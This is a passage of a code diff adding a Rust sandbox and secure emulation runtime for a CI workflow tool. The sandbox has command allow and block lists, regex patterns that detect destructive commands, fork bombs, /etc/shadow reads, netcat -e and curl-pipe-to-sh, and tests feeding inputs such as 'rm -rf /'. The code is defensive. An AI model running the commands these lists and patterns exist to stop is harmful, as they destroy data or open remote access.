+        workspaces.push(path.to_path_buf());
+    }
+}
+
+// Remove workspace from tracking
+#[allow(dead_code)]
+pub fn untrack_workspace(path: &Path) {
+    if let Ok(mut workspaces) = EMULATION_WORKSPACES.lock() {
+        workspaces.retain(|w| *w != path);
+    }
+}
+
+// Public accessor functions for testing
+#[cfg(test)]
+pub fn get_tracked_workspaces() -> Vec<PathBuf> {
+    if let Ok(workspaces) = EMULATION_WORKSPACES.lock() {
+        workspaces.clone()
+    } else {
+        vec![]
+    }
+}
+
+#[cfg(test)]
+pub fn get_tracked_processes() -> Vec<u32> {
+    if let Ok(processes) = EMULATION_PROCESSES.lock() {
+        processes.clone()
+    } else {
+        vec![]
+    }
+}

crates/runtime/src/lib.rs

@@ -0,0 +1,6 @@
+// runtime crate
+
+pub mod container;
+pub mod emulation;
+pub mod sandbox;
+pub mod secure_emulation;

crates/runtime/src/sandbox.rs

@@ -0,0 +1,672 @@
+use regex::Regex;
+use std::collections::HashSet;
+use std::fs;
+use std::path::{Path, PathBuf};
+use std::process::{Command, Stdio};
+use std::time::Duration;
+use tempfile::TempDir;
+use wrkflw_logging;
+
+/// Configuration for sandbox execution
+#[derive(Debug, Clone)]
+pub struct SandboxConfig {
+    /// Maximum execution time for commands
+    pub max_execution_time: Duration,
+    /// Maximum memory usage in MB
+    pub max_memory_mb: u64,
+    /// Maximum CPU usage percentage
+    pub max_cpu_percent: u64,
+    /// Allowed commands (whitelist)
+    pub allowed_commands: HashSet<String>,
+    /// Blocked commands (blacklist)
+    pub blocked_commands: HashSet<String>,
+    /// Allowed file system paths (read-only)
+    pub allowed_read_paths: HashSet<PathBuf>,
+    /// Allowed file system paths (read-write)
+    pub allowed_write_paths: HashSet<PathBuf>,
+    /// Whether to enable network access
+    pub allow_network: bool,
+    /// Maximum number of processes
+    pub max_processes: u32,
+    /// Whether to enable strict mode (more restrictive)
+    pub strict_mode: bool,
+}
+
+impl Default for SandboxConfig {
+    fn default() -> Self {
+        let mut allowed_commands = HashSet::new();
+
+        // Basic safe commands
+        allowed_commands.insert("echo".to_string());
+        allowed_commands.insert("printf".to_string());
+        allowed_commands.insert("cat".to_string());
+        allowed_commands.insert("head".to_string());
+        allowed_commands.insert("tail".to_string());
+        allowed_commands.insert("grep".to_string());
+        allowed_commands.insert("sed".to_string());
+        allowed_commands.insert("awk".to_string());
+        allowed_commands.insert("sort".to_string());
+        allowed_commands.insert("uniq".to_string());
+        allowed_commands.insert("wc".to_string());
+        allowed_commands.insert("cut".to_string());
+        allowed_commands.insert("tr".to_string());
+        allowed_commands.insert("which".to_string());
+        allowed_commands.insert("pwd".to_string());
+        allowed_commands.insert("env".to_string());
+        allowed_commands.insert("date".to_string());
+        allowed_commands.insert("basename".to_string());
+        allowed_commands.insert("dirname".to_string());
+
+        // File operations (safe variants)
+        allowed_commands.insert("ls".to_string());
+        allowed_commands.insert("find".to_string());
+        allowed_commands.insert("mkdir".to_string());
+        allowed_commands.insert("touch".to_string());
+        allowed_commands.insert("cp".to_string());
+        allowed_commands.insert("mv".to_string());
+
+        // Development tools
+        allowed_commands.insert("git".to_string());
+        allowed_commands.insert("cargo".to_string());
+        allowed_commands.insert("rustc".to_string());
+        allowed_commands.insert("rustfmt".to_string());
+        allowed_commands.insert("clippy".to_string());
+        allowed_commands.insert("npm".to_string());
+        allowed_commands.insert("yarn".to_string());
+        allowed_commands.insert("node".to_string());
+        allowed_commands.insert("python".to_string());
+        allowed_commands.insert("python3".to_string());
+        allowed_commands.insert("pip".to_string());
+        allowed_commands.insert("pip3".to_string());
+        allowed_commands.insert("java".to_string());
+        allowed_commands.insert("javac".to_string());
+        allowed_commands.insert("maven".to_string());
+        allowed_commands.insert("gradle".to_string());
+        allowed_commands.insert("go".to_string());
+        allowed_commands.insert("dotnet".to_string());
+
+        // Compression tools
+        allowed_commands.insert("tar".to_string());
+        allowed_commands.insert("gzip".to_string());
+        allowed_commands.insert("gunzip".to_string());
+        allowed_commands.insert("zip".to_string());
+        allowed_commands.insert("unzip".to_string());
+
+        let mut blocked_commands = HashSet::new();
+
+        // Dangerous system commands
+        blocked_commands.insert("rm".to_string());
+        blocked_commands.insert("rmdir".to_string());
+        blocked_commands.insert("dd".to_string());
+        blocked_commands.insert("mkfs".to_string());
+        blocked_commands.insert("fdisk".to_string());
+        blocked_commands.insert("mount".to_string());
+        blocked_commands.insert("umount".to_string());
+        blocked_commands.insert("sudo".to_string());
+        blocked_commands.insert("su".to_string());
+        blocked_commands.insert("passwd".to_string());
+        blocked_commands.insert("chown".to_string());
+        blocked_commands.insert("chmod".to_string());
+        blocked_commands.insert("chgrp".to_string());
+        blocked_commands.insert("chroot".to_string());
+
+        // Network and system tools
+        blocked_commands.insert("nc".to_string());
+        blocked_commands.insert("netcat".to_string());
+        blocked_commands.insert("wget".to_string());
+        blocked_commands.insert("curl".to_string());
+        blocked_commands.insert("ssh".to_string());
+        blocked_commands.insert("scp".to_string());
+        blocked_commands.insert("rsync".to_string());
+
+        // Process control
+        blocked_commands.insert("kill".to_string());
+        blocked_commands.insert("killall".to_string());
+        blocked_commands.insert("pkill".to_string());
+        blocked_commands.insert("nohup".to_string());
+        blocked_commands.insert("screen".to_string());
+        blocked_commands.insert("tmux".to_string());
+
+        // System modification
+        blocked_commands.insert("systemctl".to_string());
+        blocked_commands.insert("service".to_string());
+        blocked_commands.insert("crontab".to_string());
+        blocked_commands.insert("at".to_string());
+        blocked_commands.insert("reboot".to_string());
+        blocked_commands.insert("shutdown".to_string());
+        blocked_commands.insert("halt".to_string());
+        blocked_commands.insert("poweroff".to_string());
+
+        Self {
+            max_execution_time: Duration::from_secs(300), // 5 minutes
+            max_memory_mb: 512,
+            max_cpu_percent: 80,
+            allowed_commands,
+            blocked_commands,
+            allowed_read_paths: HashSet::new(),
+            allowed_write_paths: HashSet::new(),
+            allow_network: false,
+            max_processes: 10,
+            strict_mode: true,
+        }
+    }
+}
+
+/// Sandbox error types
+#[derive(Debug, thiserror::Error)]
+pub enum SandboxError {
+    #[error("Command blocked by security policy: {command}")]
+    BlockedCommand { command: String },
+
+    #[error("Dangerous command pattern detected: {pattern}")]
+    DangerousPattern { pattern: String },
+
+    #[error("Path access denied: {path}")]
+    PathAccessDenied { path: String },
+
+    #[error("Resource limit exceeded: {resource}")]
+    ResourceLimitExceeded { resource: String },
+
+    #[error("Execution timeout after {seconds} seconds")]
+    ExecutionTimeout { seconds: u64 },
+
+    #[error("Sandbox setup failed: {reason}")]
+    SandboxSetupError { reason: String },
+
+    #[error("Command execution failed: {reason}")]
+    ExecutionError { reason: String },
+}
+
+/// Secure sandbox for executing commands in emulation mode
+pub struct Sandbox {
+    config: SandboxConfig,
+    workspace: TempDir,
+    dangerous_patterns: Vec<Regex>,
+}
+
+impl Sandbox {
+    /// Create a new sandbox with the given configuration
+    pub fn new(config: SandboxConfig) -> Result<Self, SandboxError> {
+        let workspace = tempfile::tempdir().map_err(|e| SandboxError::SandboxSetupError {
+            reason: format!("Failed to create sandbox workspace: {}", e),
+        })?;
+
+        let dangerous_patterns = Self::compile_dangerous_patterns();
+
+        wrkflw_logging::info(&format!(
+            "Created new sandbox with workspace: {}",
+            workspace.path().display()
+        ));
+
+        Ok(Self {
+            config,
+            workspace,
+            dangerous_patterns,
+        })
+    }
+
+    /// Execute a command in the sandbox
+    pub async fn execute_command(
+        &self,
+        command: &[&str],
+        env_vars: &[(&str, &str)],
+        working_dir: &Path,
+    ) -> Result<crate::container::ContainerOutput, SandboxError> {
+        if command.is_empty() {
+            return Err(SandboxError::ExecutionError {
+                reason: "Empty command".to_string(),
+            });
+        }
+
+        let command_str = command.join(" ");
+
+        // Step 1: Validate command
+        self.validate_command(&command_str)?;
+
+        // Step 2: Setup sandbox environment
+        let sandbox_dir = self.setup_sandbox_environment(working_dir)?;
+
+        // Step 3: Execute with limits
+        self.execute_with_limits(command, env_vars, &sandbox_dir)
+            .await
+    }
+
+    /// Validate that a command is safe to execute
+    fn validate_command(&self, command_str: &str) -> Result<(), SandboxError> {
+        // Check for dangerous patterns first
+        for pattern in &self.dangerous_patterns {
+            if pattern.is_match(command_str) {
+                wrkflw_logging::warning(&format!(
+                    "🚫 Blocked dangerous command pattern: {}",
+                    command_str
+                ));
+                return Err(SandboxError::DangerousPattern {
+                    pattern: command_str.to_string(),
+                });
+            }
+        }
+
+        // Split command by shell operators to validate each part
+        let command_parts = self.split_shell_command(command_str);
+
+        for part in command_parts {
+            let part = part.trim();
+            if part.is_empty() {
+                continue;
+            }
+
+            // Extract the base command from this part
+            let base_command = part.split_whitespace().next().unwrap_or("");
+            let command_name = Path::new(base_command)
+                .file_name()
+                .and_then(|s| s.to_str())
+                .unwrap_or(base_command);
+
+            // Skip shell built-ins and operators
+            if self.is_shell_builtin(command_name) {
+                continue;
+            }
+
+            // Check blocked commands
+            if self.config.blocked_commands.contains(command_name) {
+                wrkflw_logging::warning(&format!("🚫 Blocked command: {}", command_name));
+                return Err(SandboxError::BlockedCommand {
+                    command: command_name.to_string(),
+                });
+            }
+
+            // In strict mode, only allow whitelisted commands
+            if self.config.strict_mode && !self.config.allowed_commands.contains(command_name) {
+                wrkflw_logging::warning(&format!(
+                    "🚫 Command not in whitelist (strict mode): {}",
+                    command_name
+                ));
+                return Err(SandboxError::BlockedCommand {
+                    command: command_name.to_string(),
+                });
+            }
+        }
+
+        wrkflw_logging::info(&format!("✅ Command validation passed: {}", command_str));
+        Ok(())
+    }
+
+    /// Split shell command by operators while preserving quoted strings
+    fn split_shell_command(&self, command_str: &str) -> Vec<String> {
+        // Simple split by common shell operators
+        // This is not a full shell parser but handles most cases
+        let separators = ["&&", "||", ";", "|"];
+        let mut parts = vec![command_str.to_string()];
+
+        for separator in separators {
+            let mut new_parts = Vec::new();
+            for part in parts {
+                let split_parts: Vec<String> = part
+                    .split(separator)
+                    .map(|s| s.trim().to_string())
+                    .filter(|s| !s.is_empty())
+                    .collect();
+                new_parts.extend(split_parts);
+            }
+            parts = new_parts;
+        }
+
+        parts
+    }
+
+    /// Check if a command is a shell built-in
+    fn is_shell_builtin(&self, command: &str) -> bool {
+        let builtins = [
+            "true", "false", "test", "[", "echo", "printf", "cd", "pwd", "export", "set", "unset",
+            "alias", "history", "jobs", "fg", "bg", "wait", "read",
+        ];
+        builtins.contains(&command)
+    }
+
+    /// Setup isolated sandbox environment
+    fn setup_sandbox_environment(&self, working_dir: &Path) -> Result<PathBuf, SandboxError> {
+        let sandbox_root = self.workspace.path();
+        let sandbox_workspace = sandbox_root.join("workspace");
+
+        // Create sandbox directory structure
+        fs::create_dir_all(&sandbox_workspace).map_err(|e| SandboxError::SandboxSetupError {
+            reason: format!("Failed to create sandbox workspace: {}", e),
+        })?;
+
+        // Copy allowed files to sandbox (if working_dir exists and is allowed)
+        if working_dir.exists() && self.is_path_allowed(working_dir, false) {
+            self.copy_safe_files(working_dir, &sandbox_workspace)?;
+        }
+
+        wrkflw_logging::info(&format!(
+            "Sandbox environment ready: {}",
+            sandbox_workspace.display()
+        ));
+
+        Ok(sandbox_workspace)
+    }
+
+    /// Copy files safely to sandbox, excluding dangerous files
+    fn copy_safe_files(&self, source: &Path, dest: &Path) -> Result<(), SandboxError> {
+        for entry in fs::read_dir(source).map_err(|e| SandboxError::SandboxSetupError {
+            reason: format!("Failed to read source directory: {}", e),
+        })? {
+            let entry = entry.map_err(|e| SandboxError::SandboxSetupError {
+                reason: format!("Failed to read directory entry: {}", e),
+            })?;
+
+            let path = entry.path();
+            let file_name = path.file_name().and_then(|s| s.to_str()).unwrap_or("");
+
+            // Skip dangerous or sensitive files
+            if self.should_skip_file(file_name) {
+                continue;
+            }
+
+            let dest_path = dest.join(file_name);
+
+            if path.is_file() {
+                fs::copy(&path, &dest_path).map_err(|e| SandboxError::SandboxSetupError {
+                    reason: format!("Failed to copy file: {}", e),
+                })?;
+            } else if path.is_dir() && !self.should_skip_directory(file_name) {
+                fs::create_dir_all(&dest_path).map_err(|e| SandboxError::SandboxSetupError {
+                    reason: format!("Failed to create directory: {}", e),
+                })?;
+                self.copy_safe_files(&path, &dest_path)?;
+            }
+        }
+
+        Ok(())
+    }
+
+    /// Execute command with resource limits and monitoring
+    async fn execute_with_limits(
+        &self,
+        command: &[&str],
+        env_vars: &[(&str, &str)],
+        working_dir: &Path,
+    ) -> Result<crate::container::ContainerOutput, SandboxError> {
+        // Join command parts and execute via shell for proper handling of operators
+        let command_str = command.join(" ");
+
+        let mut cmd = Command::new("sh");
+        cmd.arg("-c");
+        cmd.arg(&command_str);
+        cmd.current_dir(working_dir);
+        cmd.stdout(Stdio::piped());
+        cmd.stderr(Stdio::piped());
+
+        // Set environment variables (filtered)
+        for (key, value) in env_vars {
+            if self.is_env_var_safe(key) {
+                cmd.env(key, value);
+            }
+        }
+
+        // Add sandbox-specific environment variables
+        cmd.env("WRKFLW_SANDBOXED", "true");
+        cmd.env("WRKFLW_SANDBOX_MODE", "strict");
+
+        // Execute with timeout
+        let timeout_duration = self.config.max_execution_time;
+
+        wrkflw_logging::info(&format!(
+            "🏃 Executing sandboxed command: {} (timeout: {}s)",
+            command.join(" "),
+            timeout_duration.as_secs()
+        ));
+
+        let start_time = std::time::Instant::now();
+
+        let result = tokio::time::timeout(timeout_duration, async {
+            let output = cmd.output().map_err(|e| SandboxError::ExecutionError {
+                reason: format!("Command execution failed: {}", e),
+            })?;
+
+            Ok(crate::container::ContainerOutput {
+                stdout: String::from_utf8_lossy(&output.stdout).to_string(),
+                stderr: String::from_utf8_lossy(&output.stderr).to_string(),
+                exit_code: output.status.code().unwrap_or(-1),
+            })
+        })
+        .await;
+
+        let execution_time = start_time.elapsed();
+
+        match result {
+            Ok(output_result) => {
+                wrkflw_logging::info(&format!(
+                    "✅ Sandboxed command completed in {:.2}s",
+                    execution_time.as_secs_f64()
+                ));
+                output_result
+            }
+            Err(_) => {
+                wrkflw_logging::warning(&format!(
+                    "⏰ Sandboxed command timed out after {:.2}s",
+                    timeout_duration.as_secs_f64()
+                ));
+                Err(SandboxError::ExecutionTimeout {
+                    seconds: timeout_duration.as_secs(),
+                })
+            }
+        }
+    }
+
+    /// Check if a path is allowed for access
+    fn is_path_allowed(&self, path: &Path, write_access: bool) -> bool {
+        let abs_path = path.canonicalize().unwrap_or_else(|_| path.to_path_buf());
+
+        if write_access {
+            self.config
+                .allowed_write_paths
+                .iter()
+                .any(|allowed| abs_path.starts_with(allowed))
+        } else {
+            self.config
+                .allowed_read_paths
+                .iter()
+                .any(|allowed| abs_path.starts_with(allowed))
+                || self
+                    .config
+                    .allowed_write_paths
+                    .iter()
+                    .any(|allowed| abs_path.starts_with(allowed))
+        }
+    }
+
+    /// Check if an environment variable is safe to pass through
+    fn is_env_var_safe(&self, key: &str) -> bool {
+        // Block dangerous environment variables
+        let dangerous_env_vars = [
+            "LD_PRELOAD",
+            "LD_LIBRARY_PATH",
+            "DYLD_INSERT_LIBRARIES",
+            "DYLD_LIBRARY_PATH",
+            "PATH",
+            "HOME",
+            "SHELL",
+        ];
+
+        !dangerous_env_vars.contains(&key)
+    }
+
+    /// Check if a file should be skipped during copying
+    fn should_skip_file(&self, filename: &str) -> bool {
+        let dangerous_files = [
+            ".ssh",
+            ".gnupg",
+            ".aws",
+            ".docker",
+            "id_rsa",
+            "id_ed25519",
+            "credentials",
+            "config",
+            ".env",
+            ".secrets",
+        ];
+
+        dangerous_files
+            .iter()
+            .any(|pattern| filename.contains(pattern))
+            || filename.starts_with('.') && filename != ".gitignore" && filename != ".github"
+    }
+
+    /// Check if a directory should be skipped
+    fn should_skip_directory(&self, dirname: &str) -> bool {
+        let skip_dirs = [
+            "target",
+            "node_modules",
+            ".git",
+            ".cargo",
+            ".npm",
+            ".cache",
+            "build",
+            "dist",
+            "tmp",
+            "temp",
+        ];
+
+        skip_dirs.contains(&dirname)
+    }
+
+    /// Compile regex patterns for dangerous command detection
+    fn compile_dangerous_patterns() -> Vec<Regex> {
+        let patterns = [
+            r"rm\s+.*-rf?\s*/",       // rm -rf /
+            r"dd\s+.*of=/dev/",       // dd ... of=/dev/...
+            r">\s*/dev/sd[a-z]",      // > /dev/sda
+            r"mkfs\.",                // mkfs.ext4, etc.
+            r"fdisk\s+/dev/",         // fdisk /dev/...
+            r"mount\s+.*\s+/",        // mount ... /
+            r"chroot\s+/",            // chroot /
+            r"sudo\s+",               // sudo commands
+            r"su\s+",                 // su commands
+            r"bash\s+-c\s+.*rm.*-rf", // bash -c "rm -rf ..."
+            r"sh\s+-c\s+.*rm.*-rf",   // sh -c "rm -rf ..."
+            r"eval\s+.*rm.*-rf",      // eval "rm -rf ..."
+            r":\(\)\{.*;\};:",        // Fork bomb
+            r"/proc/sys/",            // /proc/sys access
+            r"/etc/passwd",           // /etc/passwd access
+            r"/etc/shadow",           // /etc/shadow access
+            r"nc\s+.*-e",             // netcat with exec
+            r"wget\s+.*\|\s*sh",      // wget ... | sh
+            r"curl\s+.*\|\s*sh",      // curl ... | sh
+        ];
+
+        patterns
+            .iter()
+            .filter_map(|pattern| {
+                Regex::new(pattern)
+                    .map_err(|e| {
+                        wrkflw_logging::warning(&format!(
+                            "Invalid regex pattern {}: {}",
+                            pattern, e
+                        ));
+                        e
+                    })
+                    .ok()
+            })
+            .collect()
+    }
+}
+
+/// Create a default sandbox configuration for CI/CD workflows
+pub fn create_workflow_sandbox_config() -> SandboxConfig {
+    let mut allowed_read_paths = HashSet::new();
+    allowed_read_paths.insert(PathBuf::from("."));
+
+    let mut allowed_write_paths = HashSet::new();
+    allowed_write_paths.insert(PathBuf::from("."));
+
+    SandboxConfig {
+        max_execution_time: Duration::from_secs(1800), // 30 minutes
+        max_memory_mb: 2048,                           // 2GB
+        max_processes: 50,
+        allow_network: true,
+        strict_mode: false,
+        allowed_read_paths,
+        allowed_write_paths,
+        ..Default::default()
+    }
+}
+
+/// Create a strict sandbox configuration for untrusted code
+pub fn create_strict_sandbox_config() -> SandboxConfig {
+    let mut allowed_read_paths = HashSet::new();
+    allowed_read_paths.insert(PathBuf::from("."));
+
+    let mut allowed_write_paths = HashSet::new();
+    allowed_write_paths.insert(PathBuf::from("."));
+
+    // Very limited command set
+    let allowed_commands = ["echo", "cat", "ls", "pwd", "date"]
+        .iter()
+        .map(|s| s.to_string())
+        .collect();
+
+    SandboxConfig {
+        max_execution_time: Duration::from_secs(60), // 1 minute
+        max_memory_mb: 128,                          // 128MB
+        max_processes: 5,
+        allow_network: false,
+        strict_mode: true,
+        allowed_read_paths,
+        allowed_write_paths,
+        allowed_commands,
+        ..Default::default()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_dangerous_pattern_detection() {
+        let sandbox = Sandbox::new(SandboxConfig::default()).unwrap();
+
+        // Should block dangerous commands
+        assert!(sandbox.validate_command("rm -rf /").is_err());
+        assert!(sandbox
+            .validate_command("dd if=/dev/zero of=/dev/sda")
+            .is_err());
+        assert!(sandbox.validate_command("sudo rm -rf /home").is_err());
+        assert!(sandbox.validate_command("bash -c 'rm -rf /'").is_err());
+
+        // Should allow safe commands
+        assert!(sandbox.validate_command("echo hello").is_ok());
+        assert!(sandbox.validate_command("ls -la").is_ok());
+        assert!(sandbox.validate_command("cargo build").is_ok());
+    }
+
+    #[test]
+    fn test_command_whitelist() {
+        let config = create_strict_sandbox_config();
+        let sandbox = Sandbox::new(config).unwrap();
+
+        // Should allow whitelisted commands
+        assert!(sandbox.validate_command("echo hello").is_ok());
+        assert!(sandbox.validate_command("ls").is_ok());
+
+        // Should block non-whitelisted commands
+        assert!(sandbox.validate_command("git clone").is_err());
+        assert!(sandbox.validate_command("cargo build").is_err());
+    }
+
+    #[test]
+    fn test_file_filtering() {
+        let sandbox = Sandbox::new(SandboxConfig::default()).unwrap();
+
+        // Should skip dangerous files
+        assert!(sandbox.should_skip_file("id_rsa"));
+        assert!(sandbox.should_skip_file(".ssh"));
+        assert!(sandbox.should_skip_file("credentials"));
+
+        // Should allow safe files
+        assert!(!sandbox.should_skip_file("Cargo.toml"));
+        assert!(!sandbox.should_skip_file("README.md"));
+        assert!(!sandbox.should_skip_file(".gitignore"));
+    }
+}

crates/runtime/src/secure_emulation.rs

@@ -0,0 +1,339 @@
+use crate::container::{ContainerError, ContainerOutput, ContainerRuntime};
+use crate::sandbox::{create_workflow_sandbox_config, Sandbox, SandboxConfig, SandboxError};
+use async_trait::async_trait;
+use std::path::Path;
+use wrkflw_logging;
+
+/// Secure emulation runtime that uses sandboxing for safety
+pub struct SecureEmulationRuntime {
+    sandbox: Sandbox,
+}
+
+impl Default for SecureEmulationRuntime {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
+impl SecureEmulationRuntime {
+    /// Create a new secure emulation runtime with default workflow-friendly configuration
+    pub fn new() -> Self {
+        let config = create_workflow_sandbox_config();
+        let sandbox = Sandbox::new(config).expect("Failed to create sandbox");
+
+        wrkflw_logging::info("🔒 Initialized secure emulation runtime with sandboxing");
+
+        Self { sandbox }
+    }
+
+    /// Create a new secure emulation runtime with custom sandbox configuration
+    pub fn new_with_config(config: SandboxConfig) -> Result<Self, ContainerError> {
+        let sandbox = Sandbox::new(config).map_err(|e| {
+            ContainerError::ContainerStart(format!("Failed to create sandbox: {}", e))
+        })?;
+
+        wrkflw_logging::info("🔒 Initialized secure emulation runtime with custom config");
+
+        Ok(Self { sandbox })
+    }
+}
+
+#[async_trait]
+impl ContainerRuntime for SecureEmulationRuntime {
+    async fn run_container(
+        &self,
+        image: &str,
+        command: &[&str],
+        env_vars: &[(&str, &str)],
+        working_dir: &Path,
+        _volumes: &[(&Path, &Path)],
+    ) -> Result<ContainerOutput, ContainerError> {
+        wrkflw_logging::info(&format!(
+            "🔒 Executing sandboxed command: {} (image: {})",
+            command.join(" "),
+            image
+        ));
+
+        // Use sandbox to execute the command safely
+        let result = self
+            .sandbox
+            .execute_command(command, env_vars, working_dir)
+            .await;
+
+        match result {
+            Ok(output) => {
+                wrkflw_logging::info("✅ Sandboxed command completed successfully");
+                Ok(output)
+            }
+            Err(SandboxError::BlockedCommand { command }) => {
+                let error_msg = format!(
+                    "🚫 SECURITY BLOCK: Command '{}' is not allowed in secure emulation mode. \
+                     This command was blocked for security reasons. \
+                     If you need to run this command, please use Docker or Podman mode instead.",
+                    command
+                );
+                wrkflw_logging::warning(&error_msg);
+                Err(ContainerError::ContainerExecution(error_msg))
+            }
+            Err(SandboxError::DangerousPattern { pattern }) => {
+                let error_msg = format!(
+                    "🚫 SECURITY BLOCK: Dangerous command pattern detected: '{}'. \
+                     This command was blocked because it matches a known dangerous pattern. \
+                     Please review your workflow for potentially harmful commands.",
+                    pattern
+                );
+                wrkflw_logging::warning(&error_msg);
+                Err(ContainerError::ContainerExecution(error_msg))
+            }
+            Err(SandboxError::ExecutionTimeout { seconds }) => {
+                let error_msg = format!(
+                    "⏰ Command execution timed out after {} seconds. \
+                     Consider optimizing your command or increasing timeout limits.",
+                    seconds
+                );
+                wrkflw_logging::warning(&error_msg);
+                Err(ContainerError::ContainerExecution(error_msg))
+            }
+            Err(SandboxError::PathAccessDenied { path }) => {
+                let error_msg = format!(
+                    "🚫 Path access denied: '{}'. \
+                     The sandbox restricts file system access for security.",
+                    path
+                );
+                wrkflw_logging::warning(&error_msg);
+                Err(ContainerError::ContainerExecution(error_msg))
+            }
+            Err(SandboxError::ResourceLimitExceeded { resource }) => {
+                let error_msg = format!(
+                    "📊 Resource limit exceeded: {}. \
+                     Your command used too many system resources.",
+                    resource
+                );
+                wrkflw_logging::warning(&error_msg);
+                Err(ContainerError::ContainerExecution(error_msg))
+            }
+            Err(e) => {
+                let error_msg = format!("Sandbox execution failed: {}", e);
+                wrkflw_logging::error(&error_msg);
+                Err(ContainerError::ContainerExecution(error_msg))
+            }
+        }
+    }
+
+    async fn pull_image(&self, image: &str) -> Result<(), ContainerError> {
+        wrkflw_logging::info(&format!(
+            "🔒 Secure emulation: Pretending to pull image {}",
+            image
+        ));
+        Ok(())
+    }
+
+    async fn build_image(&self, dockerfile: &Path, tag: &str) -> Result<(), ContainerError> {
+        wrkflw_logging::info(&format!(
+            "🔒 Secure emulation: Pretending to build image {} from {}",
+            tag,
+            dockerfile.display()
+        ));
+        Ok(())
+    }
+
+    async fn prepare_language_environment(
+        &self,
+        language: &str,
+        version: Option<&str>,
+        _additional_packages: Option<Vec<String>>,
+    ) -> Result<String, ContainerError> {
+        // For secure emulation runtime, we'll use a simplified approach
+        // that doesn't require building custom images
+        let base_image = match language {
+            "python" => version.map_or("python:3.11-slim".to_string(), |v| format!("python:{}", v)),
+            "node" => version.map_or("node:20-slim".to_string(), |v| format!("node:{}", v)),
+            "java" => version.map_or("eclipse-temurin:17-jdk".to_string(), |v| {
+                format!("eclipse-temurin:{}", v)
+            }),
+            "go" => version.map_or("golang:1.21-slim".to_string(), |v| format!("golang:{}", v)),
+            "dotnet" => version.map_or("mcr.microsoft.com/dotnet/sdk:7.0".to_string(), |v| {
+                format!("mcr.microsoft.com/dotnet/sdk:{}", v)
+            }),
+            "rust" => version.map_or("rust:latest".to_string(), |v| format!("rust:{}", v)),
+            _ => {
+                return Err(ContainerError::ContainerStart(format!(
+                    "Unsupported language: {}",
+                    language
+                )))
+            }
+        };
+
+        // For emulation, we'll just return the base image
+        // The actual package installation will be handled during container execution
+        Ok(base_image)
+    }
+}
+
+/// Handle special actions in secure emulation mode
+pub async fn handle_special_action_secure(action: &str) -> Result<(), ContainerError> {
+    // Extract owner, repo and version from the action
+    let action_parts: Vec<&str> = action.split('@').collect();
+    let action_name = action_parts[0];
+    let action_version = if action_parts.len() > 1 {
+        action_parts[1]
+    } else {
+        "latest"
+    };
+
+    wrkflw_logging::info(&format!(
+        "🔒 Processing action in secure mode: {} @ {}",
+        action_name, action_version
+    ));
+
+    // In secure mode, we're more restrictive about what actions we allow
+    match action_name {
+        // Core GitHub actions that are generally safe
+        name if name.starts_with("actions/checkout") => {
+            wrkflw_logging::info("✅ Checkout action - workspace files are prepared securely");
+        }
+        name if name.starts_with("actions/setup-node") => {
+            wrkflw_logging::info("🟡 Node.js setup - using system Node.js in secure mode");
+            check_command_available_secure("node", "Node.js", "https://nodejs.org/");
+        }
+        name if name.starts_with("actions/setup-python") => {
+            wrkflw_logging::info("🟡 Python setup - using system Python in secure mode");
+            check_command_available_secure("python", "Python", "https://www.python.org/downloads/");
+        }
+        name if name.starts_with("actions/setup-java") => {
+            wrkflw_logging::info("🟡 Java setup - using system Java in secure mode");
+            check_command_available_secure("java", "Java", "https://adoptium.net/");
+        }
+        name if name.starts_with("actions/cache") => {
+            wrkflw_logging::info("🟡 Cache action - caching disabled in secure emulation mode");
+        }
+
+        // Rust-specific actions
+        name if name.starts_with("actions-rs/cargo") => {
+            wrkflw_logging::info("🟡 Rust cargo action - using system Rust in secure mode");
+            check_command_available_secure("cargo", "Rust/Cargo", "https://rustup.rs/");
+        }
+        name if name.starts_with("actions-rs/toolchain") => {
+            wrkflw_logging::info("🟡 Rust toolchain action - using system Rust in secure mode");
+            check_command_available_secure("rustc", "Rust", "https://rustup.rs/");
+        }
+        name if name.starts_with("actions-rs/fmt") => {
+            wrkflw_logging::info("🟡 Rust formatter action - using system rustfmt in secure mode");
+            check_command_available_secure("rustfmt", "rustfmt", "rustup component add rustfmt");
+        }
+
+        // Potentially dangerous actions that we warn about
+        name if name.contains("docker") || name.contains("container") => {
+            wrkflw_logging::warning(&format!(
+                "🚫 Docker/container action '{}' is not supported in secure emulation mode. \
+                 Use Docker or Podman mode for container actions.",
+                action_name
+            ));
+        }
+        name if name.contains("ssh") || name.contains("deploy") => {
+            wrkflw_logging::warning(&format!(
+                "🚫 SSH/deployment action '{}' is restricted in secure emulation mode. \
+                 Use Docker or Podman mode for deployment actions.",
+                action_name
+            ));
+        }
+
+        // Unknown actions
+        _ => {
+            wrkflw_logging::warning(&format!(
+                "🟡 Unknown action '{}' in secure emulation mode. \
+                 Some functionality may be limited or unavailable.",
+                action_name
+            ));
+        }
+    }
+
+    Ok(())
+}
+
+/// Check if a command is available, with security-focused messaging
+fn check_command_available_secure(command: &str, name: &str, install_url: &str) {
+    use std::process::Command;
+
+    let is_available = Command::new("which")
+        .arg(command)
+        .output()
+        .map(|output| output.status.success())
+        .unwrap_or(false);
+
+    if !is_available {
+        wrkflw_logging::warning(&format!(
+            "🔧 {} is required but not found on the system",
+            name
+        ));
+        wrkflw_logging::info(&format!(
+            "To use this action in secure mode, please install {}: {}",
+            name, install_url
+        ));
+        wrkflw_logging::info(&format!(
+            "Alternatively, use Docker or Podman mode for automatic {} installation",
+            name
+        ));
+    } else {
+        // Try to get version information
+        if let Ok(output) = Command::new(command).arg("--version").output() {
+            if output.status.success() {
+                let version = String::from_utf8_lossy(&output.stdout);
+                wrkflw_logging::info(&format!(
+                    "✅ Using system {} in secure mode: {}",
+                    name,
+                    version.trim()
+                ));
+            }
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::sandbox::create_strict_sandbox_config;
+    use std::path::PathBuf;
+
+    #[tokio::test]
+    async fn test_secure_emulation_blocks_dangerous_commands() {
+        let config = create_strict_sandbox_config();
+        let runtime = SecureEmulationRuntime::new_with_config(config).unwrap();
+
+        // Should block dangerous commands
+        let result = runtime
+            .run_container(
+                "alpine:latest",
+                &["rm", "-rf", "/"],
+                &[],
+                &PathBuf::from("."),
+                &[],
+            )
+            .await;
+
+        assert!(result.is_err());
+        let error_msg = result.unwrap_err().to_string();
+        assert!(error_msg.contains("SECURITY BLOCK"));
+    }
+
+    #[tokio::test]
+    async fn test_secure_emulation_allows_safe_commands() {
+        let runtime = SecureEmulationRuntime::new();
+
+        // Should allow safe commands
+        let result = runtime
